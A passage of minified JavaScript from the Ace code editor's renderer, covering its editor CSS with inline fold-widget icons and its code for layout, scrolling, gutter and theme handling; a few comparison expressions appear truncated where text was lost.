0.2;}.ace_smooth-blinking .ace_cursor {-webkit-transition: opacity 0.18s;transition: opacity 0.18s;}.ace_marker-layer .ace_step, .ace_marker-layer .ace_stack {position: absolute;z-index: 3;}.ace_marker-layer .ace_selection {position: absolute;z-index: 5;}.ace_marker-layer .ace_bracket {position: absolute;z-index: 6;}.ace_marker-layer .ace_active-line {position: absolute;z-index: 2;}.ace_marker-layer .ace_selected-word {position: absolute;z-index: 4;-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;}.ace_line .ace_fold {-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;display: inline-block;height: 11px;margin-top: -2px;vertical-align: middle;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABEAAAAJCAYAAADU6McMAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAJpJREFUeNpi/P//PwOlgAXGYGRklAVSokD8GmjwY1wasKljQpYACtpCFeADcHVQfQyMQAwzwAZI3wJKvCLkfKBaMSClBlR7BOQikCFGQEErIH0VqkabiGCAqwUadAzZJRxQr/0gwiXIal8zQQPnNVTgJ1TdawL0T5gBIP1MUJNhBv2HKoQHHjqNrA4WO4zY0glyNKLT2KIfIMAAQsdgGiXvgnYAAAAASUVORK5CYII="),url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAA3CAYAAADNNiA5AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAACJJREFUeNpi+P//fxgTAwPDBxDxD078RSX+YeEyDFMCIMAAI3INmXiwf2YAAAAASUVORK5CYII=");background-repeat: no-repeat, repeat-x;background-position: center center, top left;color: transparent;border: 1px solid black;border-radius: 2px;cursor: pointer;pointer-events: auto;}.ace_dark .ace_fold {}.ace_fold:hover{background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABEAAAAJCAYAAADU6McMAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAJpJREFUeNpi/P//PwOlgAXGYGRklAVSokD8GmjwY1wasKljQpYACtpCFeADcHVQfQyMQAwzwAZI3wJKvCLkfKBaMSClBlR7BOQikCFGQEErIH0VqkabiGCAqwUadAzZJRxQr/0gwiXIal8zQQPnNVTgJ1TdawL0T5gBIP1MUJNhBv2HKoQHHjqNrA4WO4zY0glyNKLT2KIfIMAAQsdgGiXvgnYAAAAASUVORK5CYII="),url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAA3CAYAAADNNiA5AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAACBJREFUeNpi+P//fz4TAwPDZxDxD5X4i5fLMEwJgAADAEPVDbjNw87ZAAAAAElFTkSuQmCC");}.ace_tooltip {background-color: #FFF;background-image: -webkit-linear-gradient(top, transparent, rgba(0, 0, 0, 0.1));background-image: linear-gradient(to bottom, transparent, rgba(0, 0, 0, 0.1));border: 1px solid gray;border-radius: 1px;box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3);color: black;max-width: 100%;padding: 3px 4px;position: fixed;z-index: 999999;-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;cursor: default;white-space: pre;word-wrap: break-word;line-height: normal;font-style: normal;font-weight: normal;letter-spacing: normal;pointer-events: none;}.ace_folding-enabled > .ace_gutter-cell {padding-right: 13px;}.ace_fold-widget {-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;margin: 0 -12px 0 1px;display: none;width: 11px;vertical-align: top;background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAANElEQVR42mWKsQ0AMAzC8ixLlrzQjzmBiEjp0A6WwBCSPgKAXoLkqSot7nN3yMwR7pZ32NzpKkVoDBUxKAAAAABJRU5ErkJggg==");background-repeat: no-repeat;background-position: center;border-radius: 3px;border: 1px solid transparent;cursor: pointer;}.ace_folding-enabled .ace_fold-widget {display: inline-block; }.ace_fold-widget.ace_end {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAANElEQVR42m3HwQkAMAhD0YzsRchFKI7sAikeWkrxwScEB0nh5e7KTPWimZki4tYfVbX+MNl4pyZXejUO1QAAAABJRU5ErkJggg==");}.ace_fold-widget.ace_closed {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAAGCAYAAAAG5SQMAAAAOUlEQVR42jXKwQkAMAgDwKwqKD4EwQ26sSOkVWjgIIHAzPiCgaqiqnJHZnKICBERHN194O5b9vbLuAVRL+l0YWnZAAAAAElFTkSuQmCCXA==");}.ace_fold-widget:hover {border: 1px solid rgba(0, 0, 0, 0.3);background-color: rgba(255, 255, 255, 0.2);box-shadow: 0 1px 1px rgba(255, 255, 255, 0.7);}.ace_fold-widget:active {border: 1px solid rgba(0, 0, 0, 0.4);background-color: rgba(0, 0, 0, 0.05);box-shadow: 0 1px 1px rgba(255, 255, 255, 0.8);}.ace_dark .ace_fold-widget {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHklEQVQIW2P4//8/AzoGEQ7oGCaLLAhWiSwB146BAQCSTPYocqT0AAAAAElFTkSuQmCC");}.ace_dark .ace_fold-widget.ace_end {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAH0lEQVQIW2P4//8/AxQ7wNjIAjDMgC4AxjCVKBirIAAF0kz2rlhxpAAAAABJRU5ErkJggg==");}.ace_dark .ace_fold-widget.ace_closed {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAAFCAYAAACAcVaiAAAAHElEQVQIW2P4//+/AxAzgDADlOOAznHAKgPWAwARji8UIDTfQQAAAABJRU5ErkJggg==");}.ace_dark .ace_fold-widget:hover {box-shadow: 0 1px 1px rgba(255, 255, 255, 0.2);background-color: rgba(255, 255, 255, 0.1);}.ace_dark .ace_fold-widget:active {box-shadow: 0 1px 1px rgba(255, 255, 255, 0.2);}.ace_fold-widget.ace_invalid {background-color: #FFB4B4;border-color: #DE5555;}.ace_fade-fold-widgets .ace_fold-widget {-webkit-transition: opacity 0.4s ease 0.05s;transition: opacity 0.4s ease 0.05s;opacity: 0;}.ace_fade-fold-widgets:hover .ace_fold-widget {-webkit-transition: opacity 0.05s ease 0.05s;transition: opacity 0.05s ease 0.05s;opacity:1;}.ace_underline {text-decoration: underline;}.ace_bold {font-weight: bold;}.ace_nobold .ace_bold {font-weight: normal;}.ace_italic {font-style: italic;}.ace_error-marker {background-color: rgba(255, 0, 0,0.2);position: absolute;z-index: 9;}.ace_highlight-marker {background-color: rgba(255, 255, 0,0.2);position: absolute;z-index: 8;}.ace_br1 {border-top-left-radius : 3px;}.ace_br2 {border-top-right-radius : 3px;}.ace_br3 {border-top-left-radius : 3px; border-top-right-radius: 3px;}.ace_br4 {border-bottom-right-radius: 3px;}.ace_br5 {border-top-left-radius : 3px; border-bottom-right-radius: 3px;}.ace_br6 {border-top-right-radius : 3px; border-bottom-right-radius: 3px;}.ace_br7 {border-top-left-radius : 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px;}.ace_br8 {border-bottom-left-radius : 3px;}.ace_br9 {border-top-left-radius : 3px; border-bottom-left-radius: 3px;}.ace_br10{border-top-right-radius : 3px; border-bottom-left-radius: 3px;}.ace_br11{border-top-left-radius : 3px; border-top-right-radius: 3px; border-bottom-left-radius: 3px;}.ace_br12{border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}.ace_br13{border-top-left-radius : 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}.ace_br14{border-top-right-radius : 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}.ace_br15{border-top-left-radius : 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}.ace_text-input-ios {position: absolute !important;top: -100000px !important;left: -100000px !important;}';s.importCssString(m,"ace_editor.css");var A=function(e,t){var i=this;this.container=e||s.createElement("div"),this.$keepTextAreaAtCursor=!r.isOldIE,s.addCssClass(this.container,"ace_editor"),this.setTheme(t),this.$gutter=s.createElement("div"),this.$gutter.className="ace_gutter",this.container.appendChild(this.$gutter),this.$gutter.setAttribute("aria-hidden",!0),this.scroller=s.createElement("div"),this.scroller.className="ace_scroller",this.container.appendChild(this.scroller),this.content=s.createElement("div"),this.content.className="ace_content",this.scroller.appendChild(this.content),this.$gutterLayer=new a(this.$gutter),this.$gutterLayer.on("changeGutterWidth",this.onGutterResize.bind(this)),this.$markerBack=new l(this.content);var n=this.$textLayer=new c(this.content);this.canvas=n.element,this.$markerFront=new l(this.content),this.$cursorLayer=new h(this.content),this.$horizScroll=!1,this.$vScroll=!1,this.scrollBar=this.scrollBarV=new d(this.container,this),this.scrollBarH=new u(this.container,this),this.scrollBarV.addEventListener("scroll",(function(e){i.$scrollAnimation||i.session.setScrollTop(e.data-i.scrollMargin.top)})),this.scrollBarH.addEventListener("scroll",(function(e){i.$scrollAnimation||i.session.setScrollLeft(e.data-i.scrollMargin.left)})),this.scrollTop=0,this.scrollLeft=0,this.cursorPos={row:0,column:0},this.$fontMetrics=new f(this.container),this.$textLayer.$setFontMetrics(this.$fontMetrics),this.$textLayer.addEventListener("changeCharacterSize",(function(e){i.updateCharacterSize(),i.onResize(!0,i.gutterWidth,i.$size.width,i.$size.height),i._signal("changeCharacterSize",e)})),this.$size={width:0,height:0,scrollerHeight:0,scrollerWidth:0,$dirty:!0},this.layerConfig={width:1,padding:0,firstRow:0,firstRowScreen:0,lastRow:0,lineHeight:0,characterWidth:0,minHeight:1,maxHeight:1,offset:0,height:1,gutterOffset:1},this.scrollMargin={left:0,right:0,top:0,bottom:0,v:0,h:0},this.$loop=new g(this.$renderChanges.bind(this),this.container.ownerDocument.defaultView),this.$loop.schedule(this.CHANGE_FULL),this.updateCharacterSize(),this.setPadding(4),o.resetOptions(this),o._emit("renderer",this)};(function(){this.CHANGE_CURSOR=1,this.CHANGE_MARKER=2,this.CHANGE_GUTTER=4,this.CHANGE_SCROLL=8,this.CHANGE_LINES=16,this.CHANGE_TEXT=32,this.CHANGE_SIZE=64,this.CHANGE_MARKER_BACK=128,this.CHANGE_MARKER_FRONT=256,this.CHANGE_FULL=512,this.CHANGE_H_SCROLL=1024,n.implement(this,p),this.updateCharacterSize=function(){this.$textLayer.allowBoldFonts!=this.$allowBoldFonts&&(this.$allowBoldFonts=this.$textLayer.allowBoldFonts,this.setStyle("ace_nobold",!this.$allowBoldFonts)),this.layerConfig.characterWidth=this.characterWidth=this.$textLayer.getCharacterWidth(),this.layerConfig.lineHeight=this.lineHeight=this.$textLayer.getLineHeight(),this.$updatePrintMargin()},this.setSession=function(e){this.session&&this.session.doc.off("changeNewLineMode",this.onChangeNewLineMode),this.session=e,e&&this.scrollMargin.top&&e.getScrollTop()<=0&&e.setScrollTop(-this.scrollMargin.top),this.$cursorLayer.setSession(e),this.$markerBack.setSession(e),this.$markerFront.setSession(e),this.$gutterLayer.setSession(e),this.$textLayer.setSession(e),e&&(this.$loop.schedule(this.CHANGE_FULL),this.session.$setFontMetrics(this.$fontMetrics),this.scrollBarH.scrollLeft=this.scrollBarV.scrollTop=null,this.onChangeNewLineMode=this.onChangeNewLineMode.bind(this),this.onChangeNewLineMode(),this.session.doc.on("changeNewLineMode",this.onChangeNewLineMode))},this.updateLines=function(e,t,i){if(void 0===t&&(t=1/0),this.$changedLines?(this.$changedLines.firstRow>e&&(this.$changedLines.firstRow=e),this.$changedLines.lastRowthis.layerConfig.lastRow||this.$loop.schedule(this.CHANGE_LINES)},this.onChangeNewLineMode=function(){this.$loop.schedule(this.CHANGE_TEXT),this.$textLayer.$updateEolChar(),this.session.$bidiHandler.setEolChar(this.$textLayer.EOL_CHAR)},this.onChangeTabSize=function(){this.$loop.schedule(this.CHANGE_TEXT|this.CHANGE_MARKER),this.$textLayer.onChangeTabSize()},this.updateText=function(){this.$loop.schedule(this.CHANGE_TEXT)},this.updateFull=function(e){e?this.$renderChanges(this.CHANGE_FULL,!0):this.$loop.schedule(this.CHANGE_FULL)},this.updateFontSize=function(){this.$textLayer.checkForSizeChanges()},this.$changes=0,this.$updateSizeAsync=function(){this.$loop.pending?this.$size.$dirty=!0:this.onResize()},this.onResize=function(e,t,i,n){if(!(this.resizing>2)){this.resizing>0?this.resizing++:this.resizing=e?1:0;var s=this.container;n||(n=s.clientHeight||s.scrollHeight),i||(i=s.clientWidth||s.scrollWidth);var o=this.$updateCachedSize(e,t,i,n);if(!this.$size.scrollerHeight||!i&&!n)return this.resizing=0;e&&(this.$gutterLayer.$padding=null),e?this.$renderChanges(o|this.$changes,!0):this.$loop.schedule(o|this.$changes),this.resizing&&(this.resizing=0),this.scrollBarV.scrollLeft=this.scrollBarV.scrollTop=null}},this.$updateCachedSize=function(e,t,i,n){n-=this.$extraHeight||0;var s=0,o=this.$size,r={width:o.width,height:o.height,scrollerHeight:o.scrollerHeight,scrollerWidth:o.scrollerWidth};return n&&(e||o.height!=n)&&(o.height=n,s|=this.CHANGE_SIZE,o.scrollerHeight=o.height,this.$horizScroll&&(o.scrollerHeight-=this.scrollBarH.getHeight()),this.scrollBarV.element.style.bottom=this.scrollBarH.getHeight()+"px",s|=this.CHANGE_SCROLL),i&&(e||o.width!=i)&&(s|=this.CHANGE_SIZE,o.width=i,null==t&&(t=this.$showGutter?this.$gutter.offsetWidth:0),this.gutterWidth=t,this.scrollBarH.element.style.left=this.scroller.style.left=t+"px",o.scrollerWidth=Math.max(0,i-t-this.scrollBarV.getWidth()),this.scrollBarH.element.style.right=this.scroller.style.right=this.scrollBarV.getWidth()+"px",this.scroller.style.bottom=this.scrollBarH.getHeight()+"px",(this.session&&this.session.getUseWrapMode()&&this.adjustWrapLimit()||e)&&(s|=this.CHANGE_FULL)),o.$dirty=!i||!n,s&&this._signal("resize",r),s},this.onGutterResize=function(){var e=this.$showGutter?this.$gutter.offsetWidth:0;e!=this.gutterWidth&&(this.$changes|=this.$updateCachedSize(!0,e,this.$size.width,this.$size.height)),this.session.getUseWrapMode()&&this.adjustWrapLimit()||this.$size.$dirty?this.$loop.schedule(this.CHANGE_FULL):(this.$computeLayerConfig(),this.$loop.schedule(this.CHANGE_MARKER))},this.adjustWrapLimit=function(){var e=this.$size.scrollerWidth-2*this.$padding,t=Math.floor(e/this.characterWidth);return this.session.adjustWrapLimit(t,this.$showPrintMargin&&this.$printMarginColumn)},this.setAnimatedScroll=function(e){this.setOption("animatedScroll",e)},this.getAnimatedScroll=function(){return this.$animatedScroll},this.setShowInvisibles=function(e){this.setOption("showInvisibles",e),this.session.$bidiHandler.setShowInvisibles(e)},this.getShowInvisibles=function(){return this.getOption("showInvisibles")},this.getDisplayIndentGuides=function(){return this.getOption("displayIndentGuides")},this.setDisplayIndentGuides=function(e){this.setOption("displayIndentGuides",e)},this.setShowPrintMargin=function(e){this.setOption("showPrintMargin",e)},this.getShowPrintMargin=function(){return this.getOption("showPrintMargin")},this.setPrintMarginColumn=function(e){this.setOption("printMarginColumn",e)},this.getPrintMarginColumn=function(){return this.getOption("printMarginColumn")},this.getShowGutter=function(){return this.getOption("showGutter")},this.setShowGutter=function(e){return this.setOption("showGutter",e)},this.getFadeFoldWidgets=function(){return this.getOption("fadeFoldWidgets")},this.setFadeFoldWidgets=function(e){this.setOption("fadeFoldWidgets",e)},this.setHighlightGutterLine=function(e){this.setOption("highlightGutterLine",e)},this.getHighlightGutterLine=function(){return this.getOption("highlightGutterLine")},this.$updateGutterLineHighlight=function(){var e=this.$cursorLayer.$pixelPos,t=this.layerConfig.lineHeight;if(this.session.getUseWrapMode()){var i=this.session.selection.getCursor();i.column=0,e=this.$cursorLayer.getPixelPosition(i,!0),t*=this.session.getRowLength(i.row)}this.$gutterLineHighlight.style.top=e.top-this.layerConfig.offset+"px",this.$gutterLineHighlight.style.height=t+"px"},this.$updatePrintMargin=function(){if(this.$showPrintMargin||this.$printMarginEl){if(!this.$printMarginEl){var e=s.createElement("div");e.className="ace_layer ace_print-margin-layer",this.$printMarginEl=s.createElement("div"),this.$printMarginEl.className="ace_print-margin",e.appendChild(this.$printMarginEl),this.content.insertBefore(e,this.content.firstChild)}var t=this.$printMarginEl.style;t.left=this.characterWidth*this.$printMarginColumn+this.$padding+"px",t.visibility=this.$showPrintMargin?"visible":"hidden",this.session&&-1==this.session.$wrap&&this.adjustWrapLimit()}},this.getContainerElement=function(){return this.container},this.getMouseEventTarget=function(){return this.scroller},this.getTextAreaContainer=function(){return this.container},this.$moveTextAreaToCursor=function(){if(this.$keepTextAreaAtCursor){var e=this.layerConfig,t=this.$cursorLayer.$pixelPos.top,i=this.$cursorLayer.$pixelPos.left;t-=e.offset;var n=this.textarea.style,s=this.lineHeight;if(t<0||t>e.height-s)n.top=n.left="0";else{var o=this.characterWidth;if(this.$composition){var r=this.textarea.value.replace(/^\x01+/,"");o*=this.session.$getStringScreenWidth(r)[0]+2,s+=2}i-=this.scrollLeft,i>this.$size.scrollerWidth-o&&(i=this.$size.scrollerWidth-o),i+=this.gutterWidth,n.height=s+"px",n.width=o+"px",n.left=Math.min(i,this.$size.scrollerWidth-o)+"px",n.top=Math.min(t,this.$size.height-s)+"px"}}},this.getFirstVisibleRow=function(){return this.layerConfig.firstRow},this.getFirstFullyVisibleRow=function(){return this.layerConfig.firstRow+(0===this.layerConfig.offset?0:1)},this.getLastFullyVisibleRow=function(){var e=this.layerConfig,t=e.lastRow,i=this.session.documentToScreenRow(t,0)*e.lineHeight;return i-this.session.getScrollTop()>e.height-e.lineHeight?t-1:t},this.getLastVisibleRow=function(){return this.layerConfig.lastRow},this.$padding=null,this.setPadding=function(e){this.$padding=e,this.$textLayer.setPadding(e),this.$cursorLayer.setPadding(e),this.$markerFront.setPadding(e),this.$markerBack.setPadding(e),this.$loop.schedule(this.CHANGE_FULL),this.$updatePrintMargin()},this.setScrollMargin=function(e,t,i,n){var s=this.scrollMargin;s.top=0|e,s.bottom=0|t,s.right=0|n,s.left=0|i,s.v=s.top+s.bottom,s.h=s.left+s.right,s.top&&this.scrollTop<=0&&this.session&&this.session.setScrollTop(-s.top),this.updateFull()},this.getHScrollBarAlwaysVisible=function(){return this.$hScrollBarAlwaysVisible},this.setHScrollBarAlwaysVisible=function(e){this.setOption("hScrollBarAlwaysVisible",e)},this.getVScrollBarAlwaysVisible=function(){return this.$vScrollBarAlwaysVisible},this.setVScrollBarAlwaysVisible=function(e){this.setOption("vScrollBarAlwaysVisible",e)},this.$updateScrollBarV=function(){var e=this.layerConfig.maxHeight,t=this.$size.scrollerHeight;!this.$maxLines&&this.$scrollPastEnd&&(e-=(t-this.lineHeight)*this.$scrollPastEnd,this.scrollTop>e-t&&(e=this.scrollTop+t,this.scrollBarV.scrollTop=null)),this.scrollBarV.setScrollHeight(e+this.scrollMargin.v),this.scrollBarV.setScrollTop(this.scrollTop+this.scrollMargin.top)},this.$updateScrollBarH=function(){this.scrollBarH.setScrollWidth(this.layerConfig.width+2*this.$padding+this.scrollMargin.h),this.scrollBarH.setScrollLeft(this.scrollLeft+this.scrollMargin.left)},this.$frozen=!1,this.freeze=function(){this.$frozen=!0},this.unfreeze=function(){this.$frozen=!1},this.$renderChanges=function(e,t){if(this.$changes&&(e|=this.$changes,this.$changes=0),this.session&&this.container.offsetWidth&&!this.$frozen&&(e||t)){if(this.$size.$dirty)return this.$changes|=e,this.onResize(!0);this.lineHeight||this.$textLayer.checkForSizeChanges(),this._signal("beforeRender"),this.session&&this.session.$bidiHandler&&this.session.$bidiHandler.updateCharacterWidths(this.$fontMetrics);var i=this.layerConfig;if(e&this.CHANGE_FULL||e&this.CHANGE_SIZE||e&this.CHANGE_TEXT||e&this.CHANGE_LINES||e&this.CHANGE_SCROLL||e&this.CHANGE_H_SCROLL){if(e|=this.$computeLayerConfig(),i.firstRow!=this.layerConfig.firstRow&&i.firstRowScreen==this.layerConfig.firstRowScreen){var n=this.scrollTop+(i.firstRow-this.layerConfig.firstRow)*this.lineHeight;n>0&&(this.scrollTop=n,e|=this.CHANGE_SCROLL,e|=this.$computeLayerConfig())}i=this.layerConfig,this.$updateScrollBarV(),e&this.CHANGE_H_SCROLL&&this.$updateScrollBarH(),this.$gutterLayer.element.style.marginTop=-i.offset+"px",this.content.style.marginTop=-i.offset+"px",this.content.style.width=i.width+2*this.$padding+"px",this.content.style.height=i.minHeight+"px"}if(e&this.CHANGE_H_SCROLL&&(this.content.style.marginLeft=-this.scrollLeft+"px",this.scroller.className=this.scrollLeft<=0?"ace_scroller":"ace_scroller ace_scroll-left"),e&this.CHANGE_FULL)return this.$textLayer.update(i),this.$showGutter&&this.$gutterLayer.update(i),this.$markerBack.update(i),this.$markerFront.update(i),this.$cursorLayer.update(i),this.$moveTextAreaToCursor(),this.$highlightGutterLine&&this.$updateGutterLineHighlight(),void this._signal("afterRender");if(e&this.CHANGE_SCROLL)return e&this.CHANGE_TEXT||e&this.CHANGE_LINES?this.$textLayer.update(i):this.$textLayer.scrollLines(i),this.$showGutter&&this.$gutterLayer.update(i),this.$markerBack.update(i),this.$markerFront.update(i),this.$cursorLayer.update(i),this.$highlightGutterLine&&this.$updateGutterLineHighlight(),this.$moveTextAreaToCursor(),void this._signal("afterRender");e&this.CHANGE_TEXT?(this.$textLayer.update(i),this.$showGutter&&this.$gutterLayer.update(i)):e&this.CHANGE_LINES?(this.$updateLines()||e&this.CHANGE_GUTTER&&this.$showGutter)&&this.$gutterLayer.update(i):(e&this.CHANGE_TEXT||e&this.CHANGE_GUTTER)&&this.$showGutter&&this.$gutterLayer.update(i),e&this.CHANGE_CURSOR&&(this.$cursorLayer.update(i),this.$moveTextAreaToCursor(),this.$highlightGutterLine&&this.$updateGutterLineHighlight()),e&(this.CHANGE_MARKER|this.CHANGE_MARKER_FRONT)&&this.$markerFront.update(i),e&(this.CHANGE_MARKER|this.CHANGE_MARKER_BACK)&&this.$markerBack.update(i),this._signal("afterRender")}else this.$changes|=e},this.$autosize=function(){var e=this.session.getScreenLength()*this.lineHeight,t=this.$maxLines*this.lineHeight,i=Math.min(t,Math.max((this.$minLines||1)*this.lineHeight,e))+this.scrollMargin.v+(this.$extraHeight||0);this.$horizScroll&&(i+=this.scrollBarH.getHeight()),this.$maxPixelHeight&&i>this.$maxPixelHeight&&(i=this.$maxPixelHeight);var n=e>t;if(i!=this.desiredHeight||this.$size.height!=this.desiredHeight||n!=this.$vScroll){n!=this.$vScroll&&(this.$vScroll=n,this.scrollBarV.setVisible(n));var s=this.container.clientWidth;this.container.style.height=i+"px",this.$updateCachedSize(!0,this.$gutterWidth,s,i),this.desiredHeight=i,this._signal("autosize")}},this.$computeLayerConfig=function(){var e=this.session,t=this.$size,i=t.height<=2*this.lineHeight,n=this.session.getScreenLength(),s=n*this.lineHeight,o=this.$getLongestLine(),r=!i&&(this.$hScrollBarAlwaysVisible||t.scrollerWidth-o-2*this.$padding<0),a=this.$horizScroll!==r;a&&(this.$horizScroll=r,this.scrollBarH.setVisible(r));var l=this.$vScroll;this.$maxLines&&this.lineHeight>1&&this.$autosize();var c=this.scrollTop%this.lineHeight,h=t.scrollerHeight+this.lineHeight,u=!this.$maxLines&&this.$scrollPastEnd?(t.scrollerHeight-this.lineHeight)*this.$scrollPastEnd:0;s+=u;var d=this.scrollMargin;this.session.setScrollTop(Math.max(-d.top,Math.min(this.scrollTop,s-t.scrollerHeight+d.bottom))),this.session.setScrollLeft(Math.max(-d.left,Math.min(this.scrollLeft,o+2*this.$padding-t.scrollerWidth+d.right)));var g=!i&&(this.$vScrollBarAlwaysVisible||t.scrollerHeight-s+u<0||this.scrollTop>d.top),f=l!==g;f&&(this.$vScroll=g,this.scrollBarV.setVisible(g));var p,m,A=Math.ceil(h/this.lineHeight)-1,v=Math.max(0,Math.round((this.scrollTop-c)/this.lineHeight)),C=v+A,w=this.lineHeight;v=e.screenToDocumentRow(v,0);var F=e.getFoldLine(v);F&&(v=F.start.row),p=e.documentToScreenRow(v,0),m=e.getRowLength(v)*w,C=Math.min(e.screenToDocumentRow(C,0),e.getLength()-1),h=t.scrollerHeight+e.getRowLength(C)*w+m,c=this.scrollTop-p*w;var b=0;return this.layerConfig.width!=o&&(b=this.CHANGE_H_SCROLL),(a||f)&&(b=this.$updateCachedSize(!0,this.gutterWidth,t.width,t.height),this._signal("scrollbarVisibilityChanged"),f&&(o=this.$getLongestLine())),this.layerConfig={width:o,padding:this.$padding,firstRow:v,firstRowScreen:p,lastRow:C,lineHeight:w,characterWidth:this.characterWidth,minHeight:h,maxHeight:s,offset:c,gutterOffset:w?Math.max(0,Math.ceil((c+t.height-t.scrollerHeight)/w)):0,height:this.$size.scrollerHeight},b},this.$updateLines=function(){if(this.$changedLines){var e=this.$changedLines.firstRow,t=this.$changedLines.lastRow;this.$changedLines=null;var i=this.layerConfig;if(!(e>i.lastRow+1)&&!(to?(t&&l+r>o+this.lineHeight&&(o-=t*this.$size.scrollerHeight),0===o&&(o=-this.scrollMargin.top),this.session.setScrollTop(o)):l+this.$size.scrollerHeight-as?(s=1-this.scrollMargin.top||(t>0&&this.session.getScrollTop()+this.$size.scrollerHeight-this.layerConfig.maxHeight<-1+this.scrollMargin.bottom||(e<0&&this.session.getScrollLeft()>=1-this.scrollMargin.left||(e>0&&this.session.getScrollLeft()+this.$size.scrollerWidth-this.layerConfig.width<-1+this.scrollMargin.right||void 0)))},this.pixelToScreenCoordinates=function(e,t){var i=this.scroller.getBoundingClientRect(),n=e+this.scrollLeft-i.left-this.$padding,s=n/this.characterWidth,o=Math.floor((t+this.scrollTop-i.top)/this.lineHeight),r=Math.round(s);return{row:o,column:r,side:s-r>0?1:-1,offsetX:n}},this.screenToTextCoordinates=function(e,t){var i=this.scroller.getBoundingClientRect(),n=e+this.scrollLeft-i.left-this.$padding,s=Math.round(n/this.characterWidth),o=(t+this.scrollTop-i.top)/this.lineHeight;return this.session.screenToDocumentPosition(o,Math.max(s,0),n)},this.textToScreenCoordinates=function(e,t){var i=this.scroller.getBoundingClientRect(),n=this.session.documentToScreenPosition(e,t),s=this.$padding+(this.session.$bidiHandler.isBidiRow(n.row,e)?this.session.$bidiHandler.getPosLeft(n.column):Math.round(n.column*this.characterWidth)),o=n.row*this.lineHeight;return{pageX:i.left+s-this.scrollLeft,pageY:i.top+o-this.scrollTop}},this.visualizeFocus=function(){s.addCssClass(this.container,"ace_focus")},this.visualizeBlur=function(){s.removeCssClass(this.container,"ace_focus")},this.showComposition=function(e){this.$composition||(this.$composition={keepTextAreaAtCursor:this.$keepTextAreaAtCursor,cssText:this.textarea.style.cssText}),this.$keepTextAreaAtCursor=!0,s.addCssClass(this.textarea,"ace_composition"),this.textarea.style.cssText="",this.$moveTextAreaToCursor()},this.setCompositionText=function(e){this.$moveTextAreaToCursor()},this.hideComposition=function(){this.$composition&&(s.removeCssClass(this.textarea,"ace_composition"),this.$keepTextAreaAtCursor=this.$composition.keepTextAreaAtCursor,this.textarea.style.cssText=this.$composition.cssText,this.$composition=null)},this.setTheme=function(e,t){var i=this;if(this.$themeId=e,i._dispatchEvent("themeChange",{theme:e}),e&&"string"!=typeof e)r(e);else{var n=e||this.$options.theme.initialValue;o.loadModule(["theme",n],r)}function r(n){if(i.$themeId!=e)return t&&t();if(!n||!n.cssClass)throw new Error("couldn't load module "+e+" or it didn't call define");s.importCssString(n.cssText,n.cssClass,i.container.ownerDocument),i.theme&&s.removeCssClass(i.container,i.theme.cssClass);var o="padding"in n?n.padding:"padding"in(i.theme||{})?4:i.$padding;i.$padding&&o!=i.$padding&&i.setPadding(o),i.$theme=n.cssClass,i.theme=n,s.addCssClass(i.container,n.cssClass),s.setCssClass(i.container,"ace_dark",n.isDark),i.$size&&(i.$size.width=0,i.$updateSizeAsync()),i._dispatchEvent("themeLoaded",{theme:n}),t&&t()}},this.getTheme=function(){return this.$themeId},this.setStyle=function(e,t){s.setCssClass(this.container,e,!1!==t)},this.unsetStyle=function(e){s.removeCssClass(this.container,e)},this.setCursorStyle=function(e){this.scroller.style.cursor!=e&&(this.scroller.style.cursor=e)},this.setMouseCursor=function(e){this.scroller.style.cursor=e},this.destroy=function(){this.$textLayer.destroy(),this.$cursorLayer.destroy()}}).call(A.prototype),o.defineOptions(A.prototype,"renderer",{animatedScroll:{initialValue:!1},showInvisibles:{set:function(e){this.$textLayer.setShowInvisibles(e)&&this.$loop.schedule(this.CHANGE_TEXT)},initialValue:!1},showPrintMargin:{set:function(){this.$updatePrintMargin()},initialValue:!0},printMarginColumn:{set:function(){this.$updatePrintMargin()},initialValue:80},printMargin:{set:function(e){"number"==typeof e&&(this.$printMarginColumn=e),this.$showPrintMargin=!!e,this.$updatePrintMargin()},get:function(){return this.$showPrintMargin&&this.$printMarginColumn}},showGutter:{set:function(e){this.$gutter.style.display=e?"block":"none",this.$loop.schedule(this.CHANGE_FULL),this.onGutterResize()},initialValue:!0},fadeFoldWidgets:{set:function(e){s.setCssClass(this.$gutter,"ace_fade-fold-widgets",e)},initialValue:!1},showFoldWidgets:{set:function(e){this.$gutterLayer.setShowFoldWidgets(e)},initialValue:!0},showLineNumbers:{set:function(e){this.$gutterLayer.setShowLineNumbers(e),this.$loop.schedule(this.CHANGE_GUTTER)},initialValue:!0},displayIndentGuides:{set:function(e){this.$textLayer.setDisplayIndentGuides(e)&&this.$loop.schedule(this.CHANGE_TEXT)},initialValue:!0},highlightGutterLine:{set:function(e){if(!this.$gutterLineHighlight)return 